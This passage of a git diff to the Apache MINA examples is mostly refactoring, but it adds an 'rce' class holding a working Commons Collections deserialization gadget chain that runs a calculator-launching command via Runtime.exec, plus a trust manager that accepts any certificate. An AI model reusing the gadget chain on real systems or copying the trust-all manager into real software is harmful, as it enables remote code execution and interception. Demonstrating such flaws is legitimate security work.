"org.apache.commons.collections4.functors.ChainedTransformer", + "org.apache.commons.collections4.functors.ConstantTransformer", + "org.apache.commons.collections4.functors.InvokerTransformer", + "java.lang.String", + "java.lang.Integer", + "java.lang.Number", + "java.util.HashMap")); + */ + + acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(codec)); + acceptor.setHandler(new ServerHandler()); + acceptor.bind(new InetSocketAddress(PORT)); + System.out.println("Mina Server started on port " + PORT); + } + + + private static class ServerHandler extends IoHandlerAdapter { + @Override + public void messageReceived(IoSession session, Object message) { + System.out.println("Received: " + message); + session.write("Server Response: " + message); + } + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java new file mode 100644 index 0000000000..b4d7d554c1 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java @@ -0,0 +1,111 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.rce; + +import com.nqzero.permit.Permit; + +import java.lang.reflect.AccessibleObject; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +public class Reflections { + public static Object getCC6() throws IllegalAccessException, NoSuchFieldException { + String[] execArgs = new String[] {"open /System/Applications/Calculator.app"}; + Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) }); + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, + new Object[] {"getRuntime", new Class[0] }), + new InvokerTransformer("invoke", + new Class[] {Object.class, Object[].class }, + new Object[] {null, new Object[0] }), + new InvokerTransformer("exec",new Class[] { String.class }, execArgs), + new ConstantTransformer(1) + }; + Map innerMap = new HashMap<>(); + Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + Reflections.setAccessible(valfield); + valfield.set(val, entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void setAccessible(AccessibleObject member) { + String versionStr = System.getProperty("java.version"); + int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); + + if (javaVersion < 12) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } else { + // not possible to quiet runtime warnings anymore... + // see https://bugs.openjdk.java.net/browse/JDK-8210522 + // to understand impact on Permit (i.e. it does not work + // anymore with Java >= 12) + member.setAccessible(true); + } + } + + public static void setFieldValue(Object obj, String field, Object value){ + try { + Class clazz = obj.getClass(); + Field fld = getField(clazz,field); + fld.setAccessible(true); + fld.set(obj, value); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static Field getField (final Class clazz, final String fieldName ) throws Exception { + try { + Field field = clazz.getDeclaredField(fieldName); + + if ( field != null ) { + field.setAccessible(true); + } else if ( clazz.getSuperclass() != null ) { + field = getField(clazz.getSuperclass(), fieldName); + } + + return field; + } + catch ( NoSuchFieldException e ) { + if ( !clazz.getSuperclass().equals(Object.class) ) { + return getField(clazz.getSuperclass(), fieldName); + } + + throw e; + } + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/reverser/Main.java b/mina-example/src/main/java/org/apache/mina/example/reverser/Main.java index e77f616b65..c4548e2465 100644 --- a/mina-example/src/main/java/org/apache/mina/example/reverser/Main.java +++ b/mina-example/src/main/java/org/apache/mina/example/reverser/Main.java @@ -20,7 +20,7 @@ package org.apache.mina.example.reverser; import java.net.InetSocketAddress; -import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.filter.codec.textline.TextLineCodecFactory; @@ -43,8 +43,7 @@ public static void main(String[] args) throws Exception { acceptor.getFilterChain().addLast("logger", new LoggingFilter()); acceptor.getFilterChain().addLast( "codec", - new ProtocolCodecFilter(new TextLineCodecFactory(Charset - .forName("UTF-8")))); + new ProtocolCodecFilter(new TextLineCodecFactory(StandardCharsets.UTF_8))); // Bind acceptor.setHandler(new ReverseProtocolHandler()); diff --git a/mina-example/src/main/java/org/apache/mina/example/reverser/ReverseProtocolHandler.java b/mina-example/src/main/java/org/apache/mina/example/reverser/ReverseProtocolHandler.java index 7475bbb301..56c0d51e2e 100644 --- a/mina-example/src/main/java/org/apache/mina/example/reverser/ReverseProtocolHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/reverser/ReverseProtocolHandler.java @@ -32,7 +32,7 @@ public class ReverseProtocolHandler extends IoHandlerAdapter { @Override public void exceptionCaught(IoSession session, Throwable cause) { // Close connection when unexpected exception is caught. - session.close(true); + session.closeNow(); } @Override diff --git a/mina-example/src/main/java/org/apache/mina/example/reverser/package-info.java b/mina-example/src/main/java/org/apache/mina/example/reverser/package-info.java new file mode 100644 index 0000000000..0008f0ace6 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/reverser/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Reverser server which reverses all text lines demonstrating high-level protocol layer. + */ +package org.apache.mina.example.reverser; diff --git a/mina-example/src/main/java/org/apache/mina/example/reverser/package.html b/mina-example/src/main/java/org/apache/mina/example/reverser/package.html deleted file mode 100644 index db3f770891..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/reverser/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Reverser server which reverses all text lines demonstating high-level protocol layer. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/ClientSessionHandler.java b/mina-example/src/main/java/org/apache/mina/example/sumup/ClientSessionHandler.java index ac08482a65..cd72252bd0 100644 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/ClientSessionHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/ClientSessionHandler.java @@ -72,19 +72,19 @@ public void messageReceived(IoSession session, Object message) { if (rm.getSequence() == values.length - 1) { // print the sum and disconnect. LOGGER.info("The sum: " + rm.getValue()); - session.close(true); + session.closeNow(); finished = true; } } else { // seever returned error code because of overflow, etc. LOGGER.warn("Server error, disconnecting..."); - session.close(true); + session.closeNow(); finished = true; } } @Override public void exceptionCaught(IoSession session, Throwable cause) { - session.close(true); + session.closeNow(); } } \ No newline at end of file diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/ServerSessionHandler.java b/mina-example/src/main/java/org/apache/mina/example/sumup/ServerSessionHandler.java index cd359f26e1..305a7f8c10 100644 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/ServerSessionHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/ServerSessionHandler.java @@ -45,7 +45,7 @@ public void sessionOpened(IoSession session) { session.getConfig().setIdleTime(IdleStatus.BOTH_IDLE, 60); // initial sum is zero - session.setAttribute(SUM_KEY, new Integer(0)); + session.setAttribute(SUM_KEY, Integer.valueOf(0)); } @Override @@ -67,7 +67,7 @@ public void messageReceived(IoSession session, Object message) { } else { // sum up sum = (int) expectedSum; - session.setAttribute(SUM_KEY, new Integer(sum)); + session.setAttribute(SUM_KEY, Integer.valueOf(sum)); // return the result message ResultMessage rm = new ResultMessage(); @@ -82,12 +82,12 @@ public void messageReceived(IoSession session, Object message) { public void sessionIdle(IoSession session, IdleStatus status) { LOGGER.info("Disconnecting the idle."); // disconnect an idle client - session.close(true); + session.closeNow(); } @Override public void exceptionCaught(IoSession session, Throwable cause) { // close the connection on exceptional situation - session.close(true); + session.closeNow(); } } \ No newline at end of file diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/codec/AbstractMessageDecoder.java b/mina-example/src/main/java/org/apache/mina/example/sumup/codec/AbstractMessageDecoder.java index 225557afd0..8e166c6383 100644 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/codec/AbstractMessageDecoder.java +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/codec/AbstractMessageDecoder.java @@ -82,7 +82,9 @@ public MessageDecoderResult decode(IoSession session, IoBuffer in, } /** - * @return null if the whole body is not read yet + * @param session The current session + * @param in The incoming buffer + * @return null if the whole body is not read yet */ protected abstract AbstractMessage decodeBody(IoSession session, IoBuffer in); diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package-info.java b/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package-info.java new file mode 100644 index 0000000000..cd23a4530a --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Protocol codec implementation for SumUp protocol. + */ +package org.apache.mina.example.sumup.codec; diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package.html b/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package.html deleted file mode 100644 index 3189489a30..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/codec/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Protocol codec implementation for SumUp protocol. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/message/AbstractMessage.java b/mina-example/src/main/java/org/apache/mina/example/sumup/message/AbstractMessage.java index 619bbf3a9f..593241d548 100644 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/message/AbstractMessage.java +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/message/AbstractMessage.java @@ -27,6 +27,8 @@ * @author Apache MINA Project */ public abstract class AbstractMessage implements Serializable { + static final long serialVersionUID = 1L; + private int sequence; public int getSequence() { diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/message/package-info.java b/mina-example/src/main/java/org/apache/mina/example/sumup/message/package-info.java new file mode 100644 index 0000000000..fe2d9491c7 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/message/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Protocol message classes for SumUp protocol. + */ +package org.apache.mina.example.sumup.message; diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/message/package.html b/mina-example/src/main/java/org/apache/mina/example/sumup/message/package.html deleted file mode 100644 index b12e92ae83..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/message/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Protocol mmessage classes for SumUp protocol. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/package-info.java b/mina-example/src/main/java/org/apache/mina/example/sumup/package-info.java new file mode 100644 index 0000000000..52bd8382dd --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/sumup/package-info.java @@ -0,0 +1,24 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * SumUp Server and Client which sums up all ADD requests. + */ +package org.apache.mina.example.sumup; diff --git a/mina-example/src/main/java/org/apache/mina/example/sumup/package.html b/mina-example/src/main/java/org/apache/mina/example/sumup/package.html deleted file mode 100644 index 2fe98d483c..0000000000 --- a/mina-example/src/main/java/org/apache/mina/example/sumup/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -SumUp Server and Client which sums up all ADD requests. - - - diff --git a/mina-example/src/main/java/org/apache/mina/example/tapedeck/AuthenticationHandler.java b/mina-example/src/main/java/org/apache/mina/example/tapedeck/AuthenticationHandler.java index d1c0aecff6..bc80f19b3c 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tapedeck/AuthenticationHandler.java +++ b/mina-example/src/main/java/org/apache/mina/example/tapedeck/AuthenticationHandler.java @@ -45,9 +45,9 @@ public class AuthenticationHandler { @State(ROOT) public static final String FAILED = "Failed"; static class AuthenticationContext extends AbstractStateContext { - public String user; - public String password; - public int tries = 0; + private String user; + private String password; + private int tries = 0; } @IoFilterTransition(on = SESSION_OPENED, in = START, next = WAIT_USER) @@ -116,31 +116,24 @@ public void commandSyntaxError(IoSession session, CommandSyntaxException e) { @IoFilterTransition(on = EXCEPTION_CAUGHT, in = ROOT, weight = 10) public void exceptionCaught(IoSession session, Exception e) { e.printStackTrace(); - session.close(true); + session.closeNow(); } -// -// @IoFilterTransition(on = SESSION_CREATED, in = ROOT) -// public void sessionCreated(NextFilter nextFilter, IoSession session) { -// nextFilter.sessionCreated(session); -// } -// @IoFilterTransition(on = SESSION_OPENED, in = ROOT) -// public void sessionOpened(NextFilter nextFilter, IoSession session) { -// nextFilter.sessionOpened(session); -// } - @IoFilterTransition(on = SESSION_CLOSED, in = DONE) public void sessionClosed(NextFilter nextFilter, IoSession session) { nextFilter.sessionClosed(session); } + @IoFilterTransition(on = EXCEPTION_CAUGHT, in = DONE) public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) { nextFilter.exceptionCaught(session, cause); } + @IoFilterTransition(on = MESSAGE_RECEIVED, in = DONE) public void messageReceived(NextFilter nextFilter, IoSession session, Object message) { nextFilter.messageReceived(session, message); } + @IoFilterTransition(on = MESSAGE_SENT, in = DONE) public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { nextFilter.messageSent(session, writeRequest); @@ -150,8 +143,14 @@ public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest w public void filterClose(NextFilter nextFilter, IoSession session) { nextFilter.filterClose(session); } + @IoFilterTransition(on = WRITE, in = ROOT) public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) { nextFilter.filterWrite(session, writeRequest); } + + @IoFilterTransition(on = INPUT_CLOSED, in = ROOT) + public void inputClosed(NextFilter nextFilter, IoSession session) { + nextFilter.inputClosed(session); + } } diff --git a/mina-example/src/main/java/org/apache/mina/example/tapedeck/CommandDecoder.java b/mina-example/src/main/java/org/apache/mina/example/tapedeck/CommandDecoder.java index 6ea3846d03..92fed06457 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tapedeck/CommandDecoder.java +++ b/mina-example/src/main/java/org/apache/mina/example/tapedeck/CommandDecoder.java @@ -89,7 +89,7 @@ private Object parseCommand(String line) throws CommandSyntaxException { public void decode(IoSession session, IoBuffer in, final ProtocolDecoderOutput out) throws Exception { - final LinkedList lines = new LinkedList(); + final LinkedList lines = new LinkedList<>(); super.decode(session, in, new ProtocolDecoderOutput() { public void write(Object message) { lines.add((String) message); diff --git a/mina-example/src/main/java/org/apache/mina/example/tapedeck/Main.java b/mina-example/src/main/java/org/apache/mina/example/tapedeck/Main.java index bdaed3a20d..cab03b43ab 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tapedeck/Main.java +++ b/mina-example/src/main/java/org/apache/mina/example/tapedeck/Main.java @@ -21,7 +21,6 @@ import java.net.InetSocketAddress; -import org.apache.mina.core.filterchain.IoFilter; import org.apache.mina.core.service.IoHandler; import org.apache.mina.filter.codec.ProtocolCodecFilter; import org.apache.mina.filter.codec.textline.TextLineEncoder; @@ -29,7 +28,6 @@ import org.apache.mina.statemachine.StateMachine; import org.apache.mina.statemachine.StateMachineFactory; import org.apache.mina.statemachine.StateMachineProxyBuilder; -import org.apache.mina.statemachine.annotation.IoFilterTransition; import org.apache.mina.statemachine.annotation.IoHandlerTransition; import org.apache.mina.statemachine.context.IoSessionStateContextLookup; import org.apache.mina.statemachine.context.StateContext; @@ -60,20 +58,6 @@ public StateContext create() { })).create(IoHandler.class, sm); } - private static IoFilter createAuthenticationIoFilter() { - StateMachine sm = StateMachineFactory.getInstance( - IoFilterTransition.class).create(AuthenticationHandler.START, - new AuthenticationHandler()); - - return new StateMachineProxyBuilder().setStateContextLookup( - new IoSessionStateContextLookup(new StateContextFactory() { - public StateContext create() { - return new AuthenticationHandler.AuthenticationContext(); - } - }, "authContext")).setIgnoreUnhandledEvents(true).setIgnoreStateContextLookupFailure(true).create( - IoFilter.class, sm); - } - public static void main(String[] args) throws Exception { SocketAcceptor acceptor = new NioSocketAcceptor(); acceptor.setReuseAddress(true); @@ -81,7 +65,6 @@ public static void main(String[] args) throws Exception { new TextLineEncoder(), new CommandDecoder()); acceptor.getFilterChain().addLast("log1", new LoggingFilter("log1")); acceptor.getFilterChain().addLast("codec", pcf); -// acceptor.getFilterChain().addLast("authentication", createAuthenticationIoFilter()); acceptor.getFilterChain().addLast("log2", new LoggingFilter("log2")); acceptor.setHandler(createIoHandler()); acceptor.bind(new InetSocketAddress(PORT)); diff --git a/mina-example/src/main/java/org/apache/mina/example/tapedeck/TapeDeckServer.java b/mina-example/src/main/java/org/apache/mina/example/tapedeck/TapeDeckServer.java index 6fc89bde98..5323cdbf79 100644 --- a/mina-example/src/main/java/org/apache/mina/example/tapedeck/TapeDeckServer.java +++ b/mina-example/src/main/java/org/apache/mina/example/tapedeck/TapeDeckServer.java @@ -49,7 +49,7 @@ public class TapeDeckServer { }; static class TapeDeckContext extends AbstractStateContext { - public String tapeName; + private String tapeName; } @IoHandlerTransition(on = SESSION_OPENED, in = EMPTY) @@ -136,7 +136,7 @@ public void commandSyntaxError(IoSession session, CommandSyntaxException e) { @IoHandlerTransition(on = EXCEPTION_CAUGHT, in = ROOT, weight = 10) public void exceptionCaught(IoSession session, Exception e) { e.printStackTrace(); - session.close(true); + session.closeNow(); } @IoHandlerTransition(in = ROOT, weight = 100) diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusSSLContextFactory.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusSSLContextFactory.java new file mode 100644 index 0000000000..628f12e1e0 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusSSLContextFactory.java @@ -0,0 +1,145 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.io.IOException; +import java.io.InputStream; +import java.security.GeneralSecurityException; +import java.security.KeyStore; +import java.security.Security; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; + +/** + * Factory to create a bogus SSLContext. + * + * @author Apache MINA Project + */ +public class BogusSSLContextFactory { + + /** + * Protocol to use. + */ + private static final String PROTOCOL = "TLSv1.2"; + + private static final String KEY_MANAGER_FACTORY_ALGORITHM; + + static { + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + + if (algorithm == null) { + algorithm = KeyManagerFactory.getDefaultAlgorithm(); + } + + KEY_MANAGER_FACTORY_ALGORITHM = algorithm; + } + + /** + * Bogus Server certificate keystore file name. + */ + private static final String BOGUS_KEYSTORE = "bogus.cert"; + + // NOTE: The keystore was generated using keytool: + // keytool -genkey -alias bogus -keysize 2048 -validity 3650 + // -keyalg RSA -dname "CN=bogus.com, OU=XXX CA, + // O=Bogus Inc, L=Stockholm, S=Stockholm, C=SE" + // -keypass boguspw -storepass boguspw -keystore bogus.cert + + /** + * Bougus keystore password. + */ + private static final char[] BOGUS_PW = { 'b', 'o', 'g', 'u', 's', 'p', 'w' }; + + private static SSLContext serverInstance = null; + + private static SSLContext clientInstance = null; + + /** + * Get SSLContext singleton. + * + * @param server A flag to tell if this is a Client or Server instance we want to create + * @return SSLContext The created SSLContext + * @throws GeneralSecurityException If we had an issue creating the SSLContext + */ + public static SSLContext getInstance(boolean server) throws GeneralSecurityException { + SSLContext retInstance; + + if (server) { + synchronized(BogusSSLContextFactory.class) { + if (serverInstance == null) { + try { + serverInstance = createBougusServerSSLContext(); + } catch (Exception ioe) { + throw new GeneralSecurityException( + "Can't create Server SSLContext:" + ioe); + } + } + } + + retInstance = serverInstance; + } else { + synchronized (BogusSSLContextFactory.class) { + if (clientInstance == null) { + clientInstance = createBougusClientSSLContext(); + } + } + + retInstance = clientInstance; + } + + return retInstance; + } + + private static SSLContext createBougusServerSSLContext() throws GeneralSecurityException, IOException { + // Create keystore + KeyStore ks = KeyStore.getInstance("JKS"); + InputStream in = null; + + try { + in = BogusSSLContextFactory.class.getResourceAsStream(BOGUS_KEYSTORE); + ks.load(in, BOGUS_PW); + } finally { + if (in != null) { + try { + in.close(); + } catch (IOException ignored) { + } + } + } + + // Set up key manager factory to use our key store + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KEY_MANAGER_FACTORY_ALGORITHM); + kmf.init(ks, BOGUS_PW); + + // Initialize the SSLContext to work with our key managers. + SSLContext sslContext = SSLContext.getInstance(PROTOCOL); + sslContext.init(kmf.getKeyManagers(), BogusTrustManagerFactory.X509_MANAGERS, null); + + return sslContext; + } + + private static SSLContext createBougusClientSSLContext() throws GeneralSecurityException { + SSLContext context = SSLContext.getInstance(PROTOCOL); + context.init(null, BogusTrustManagerFactory.X509_MANAGERS, null); + + return context; + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusTrustManagerFactory.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusTrustManagerFactory.java new file mode 100644 index 0000000000..ebfa0492ee --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/BogusTrustManagerFactory.java @@ -0,0 +1,105 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.net.Socket; +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyStore; +import java.security.KeyStoreException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; + +import javax.net.ssl.ManagerFactoryParameters; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.TrustManager; +import javax.net.ssl.TrustManagerFactorySpi; +import javax.net.ssl.X509ExtendedTrustManager; +import javax.net.ssl.X509TrustManager; + +/** + * Bogus trust manager factory. Creates BogusX509TrustManager + * + * @author Apache MINA Project + */ +class BogusTrustManagerFactory extends TrustManagerFactorySpi { + + static final X509TrustManager X509 = new X509ExtendedTrustManager() { + + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType ) throws CertificateException { + // Nothing to do + } + + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType ) throws CertificateException { + // Nothing to do + } + + @Override + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType, Socket socket ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkClientTrusted( X509Certificate[] chain, String authType, SSLEngine engine ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType, Socket socket ) + throws CertificateException { + // Nothing to do + } + + @Override + public void checkServerTrusted( X509Certificate[] chain, String authType, SSLEngine engine ) + throws CertificateException { + // Nothing to do + } + }; + + static final TrustManager[] X509_MANAGERS = new TrustManager[] { X509 }; + + public BogusTrustManagerFactory() { + } + + @Override + protected TrustManager[] engineGetTrustManagers() { + return X509_MANAGERS; + } + + @Override + protected void engineInit(KeyStore keystore) throws KeyStoreException { + // noop + } + + @Override + protected void engineInit(ManagerFactoryParameters managerFactoryParameters) + throws InvalidAlgorithmParameterException { + // noop + } +} diff --git a/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpClient.java b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpClient.java new file mode 100644 index 0000000000..d125fd7655 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/tcp/perf/TcpClient.java @@ -0,0 +1,170 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.example.tcp.perf; + +import java.net.InetSocketAddress; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IdleStatus; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioSocketConnector; + +/** + * An UDP client taht just send thousands of small messages to a UdpServer. + * + * This class is used for performance test purposes. It does nothing at all, but send a message + * repetitly to a server. + * + * @author Apache MINA Project + */ +public class TcpClient extends IoHandlerAdapter { + /** The connector */ + private IoConnector connector; + + /** The session */ + private static IoSession session; + + /** The buffer containing the message to send */ + private IoBuffer buffer = IoBuffer.allocate(8); + + /** Timers **/ + private long t0; + private long t1; + + /** The counter used for the sent messages */ + private CountDownLatch counter; + + /** + * Create the UdpClient's instance + */ + public TcpClient() { + connector = new NioSocketConnector(); + + connector.setHandler(this); + ConnectFuture connFuture = connector.connect(new InetSocketAddress("localhost", TcpServer.PORT)); + + connFuture.awaitUninterruptibly(); + + session = connFuture.getSession(); + } + + /** + * {@inheritDoc} + */ + @Override + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { + cause.printStackTrace(); + } + + /** + * {@inheritDoc} + */ + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + long received = ((IoBuffer)message).getLong(); + + if (received != counter.getCount()) { + System.out.println("Error !"); + session.closeNow(); + } else { + if (counter.getCount() == 0L) { + t1 = System.currentTimeMillis(); + + System.out.println("-------------> end " + (t1 - t0)); + session.closeNow(); + } else { + counter.countDown(); + + buffer.flip(); + buffer.putLong(counter.getCount()); + buffer.flip(); + session.write(buffer); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public void messageSent(IoSession session, Object message) throws Exception { + if (counter.getCount() % 10000 == 0) { + System.out.println("Sent " + counter + " messages"); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionClosed(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionCreated(IoSession session) throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { + } + + /** + * {@inheritDoc} + */ + 